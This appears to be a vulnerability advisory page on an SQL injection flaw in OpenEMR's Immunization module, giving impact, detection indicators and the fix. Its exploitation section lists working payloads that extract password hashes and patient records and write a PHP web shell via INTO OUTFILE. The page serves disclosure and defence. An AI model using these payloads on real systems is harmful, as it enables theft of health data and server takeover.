CVE-2026-23627
OpenEMR vulnerability analysis and mitigation

Overview

CVE-2026-23627 is an SQL injection vulnerability in the Immunization module of OpenEMR, a widely used open-source electronic health records (EHR) and medical practice management application. The flaw affects all OpenEMR versions prior to 8.0.0 and was disclosed on February 25, 2026, with a patch released in version 8.0.0. Any authenticated user can exploit this vulnerability to execute arbitrary SQL queries against the underlying database. It carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 7.4 (High) (GitHub Advisory, Red Hat).

Technical details

The vulnerability is classified as CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) and exists in the ImmunizationController PHP class at interface/modules/zend_modules/module/Immunization/src/Immunization/Controller/ImmunizationController.php, specifically in the indexAction() (lines 64–85) and reportAction() (lines 205–225) methods. User-supplied patient_id values are split by comma and each segment is directly concatenated into SQL WHERE clauses without parameterization, escaping, or type validation, allowing an attacker to break out of the query structure and inject arbitrary SQL. The attack is network-based, requires only low-privilege authenticated access, and has no user interaction requirement. A secondary injection point also exists in the query_codes parameter, which was fixed in the same patch commit (GitHub Advisory, Patch Commit).

Impact

Successful exploitation allows any authenticated user to execute arbitrary SQL queries, resulting in complete database compromise, exfiltration of Protected Health Information (PHI) including patient names, dates of birth, and PIDs, and theft of user credentials (usernames and password hashes). If the database user has FILE privileges, the vulnerability can escalate to remote code execution via INTO OUTFILE to write web shells to the server. Healthcare organizations face significant HIPAA violation exposure and potential regulatory penalties in addition to the technical compromise (GitHub Advisory).

Exploitability

A detailed proof-of-concept (PoC) is publicly documented in the official GitHub Security Advisory, including payloads for UNION-based data exfiltration, schema enumeration, time-based blind injection, and potential RCE via file write. The CVSS v4.0 exploit maturity is rated as PROOF_OF_CONCEPT. The EPSS score is approximately 0.217%, and there is no current evidence of active in-the-wild exploitation or CISA KEV catalog listing as of the time of reporting. No specific threat actor attribution has been identified (GitHub Advisory, Red Hat).

Exploitation steps

  1. Reconnaissance: Identify internet-facing OpenEMR instances running versions prior to 8.0.0 using tools like Shodan or Censys, or by checking the OpenEMR version page after obtaining credentials.
  2. Authentication: Log in to the OpenEMR instance with any valid user account that has access to the Immunization module (low-privilege access is sufficient).
  3. Locate the vulnerable endpoint: Navigate to the Immunization module's search or report functionality, which maps to POST /interface/modules/zend_modules/module/Immunization/src/Immunization/Controller/ImmunizationController.php.
  4. Basic injection test: Submit a POST request with a crafted patient_id parameter such as 123') OR 1=1 -- to confirm the injection point by observing all records returned.
  5. Credential extraction: Use a UNION-based payload to extract usernames and password hashes from the users table: patient_id=123') UNION SELECT NULL,NULL,NULL,username,password,NULL,NULL,NULL FROM users WHERE 1=1 --
  6. PHI exfiltration: Dump patient data with: patient_id=123') UNION SELECT NULL,NULL,NULL,CONCAT(pid,':',fname,':',lname,':',dob),NULL,NULL,NULL,NULL FROM patient_data WHERE 1=1 --
  7. Blind injection confirmation: Use a time-based payload to confirm injection in environments where output is suppressed: patient_id=123') AND (SELECT SLEEP(5)) -- and observe a ~5-second response delay.
  8. Remote code execution (if FILE privilege available): Write a PHP web shell using: patient_id=123') UNION SELECT NULL,NULL,NULL,'<?php system($_GET["cmd"]); ?>',NULL,NULL,NULL,NULL INTO OUTFILE '/var/www/html/shell.php' -- then access the shell via HTTP (GitHub Advisory).

Indicators of compromise

  • Network: Unusual POST requests to the Immunization module controller endpoint containing SQL keywords such as UNION SELECT, SLEEP, INTO OUTFILE, information_schema, or single-quote characters in the patient_id parameter; unexpected outbound connections from the web server to external IPs.
  • Logs: Web server access logs showing POST requests to /interface/modules/zend_modules/module/Immunization/ with encoded or plaintext SQL injection payloads in the request body; database error messages or unusual query patterns in application logs.
  • File System: Unexpected PHP files (e.g., shell.php) appearing in the OpenEMR web root or subdirectories, particularly files containing system(), exec(), or passthru() calls; modification timestamps on web-accessible directories that do not align with legitimate deployments.
  • Process: Unusual child processes spawned by the web server process (e.g., Apache or Nginx spawning /bin/bash, curl, wget, or python); unexpected database queries involving LOAD_FILE or INTO OUTFILE in MySQL general query logs (GitHub Advisory).

Mitigation and workarounds

The primary remediation is to upgrade OpenEMR to version 8.0.0 or later, which replaces direct string concatenation with parameterized queries and input validation (alphanumeric regex filtering) for both the patient_id and query_codes parameters in the ImmunizationController. The fix was committed in commit cbf4ea4 and also addresses a secondary injection in the query_codes parameter. No official workaround short of upgrading has been provided; as an interim measure, administrators should restrict access to the Immunization module to the minimum necessary users and ensure the database account used by OpenEMR does not have FILE privileges to limit RCE potential (Patch Commit, GitHub Advisory).

Community reactions

The vulnerability was part of a broader disclosure of 38 security vulnerabilities found in OpenEMR, which received coverage from SecurityWeek and The Hacker News, highlighting the systemic security risks in healthcare software used by over 100,000 providers (SecurityWeek, The Hacker News). Social media accounts including TheHackerWire on Bluesky and Mastodon flagged the OpenEMR flaws as notable given the sensitivity of PHI involved. The Aisle security research team was credited with discovering the broader set of vulnerabilities (Aisle Blog).

Additional resources


SourceThis report was generated using AI

Related OpenEMR vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-40506HIGH7
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 17, 2026
CVE-2026-76614MEDIUM5.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40509MEDIUM5.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40508MEDIUM5.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40507MEDIUM5.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management